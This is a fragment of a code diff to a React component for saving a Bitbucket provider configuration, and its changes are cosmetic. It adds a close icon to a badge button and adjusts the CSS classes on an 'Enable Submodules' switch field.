+													<X className="ml-1 size-3 cursor-pointer" />
+												</button>
 											</Badge>
 										))}
 									</div>
@@ -497,14 +510,14 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
 							control={form.control}
 							name="enableSubmodules"
 							render={({ field }) => (
-								<FormItem className="flex items-center space-x-2">
+								<FormItem className="flex flex-row items-center space-x-2 space-y-0">
 									<FormControl>
 										<Switch
 											checked={field.value}
 											onCheckedChange={field.onChange}
 										/>
 									</FormControl>
-									<FormLabel className="mt-0!">Enable Submodules</FormLabel>
+									<FormLabel>Enable Submodules</FormLabel>
 								</FormItem>
 							)}
 						/>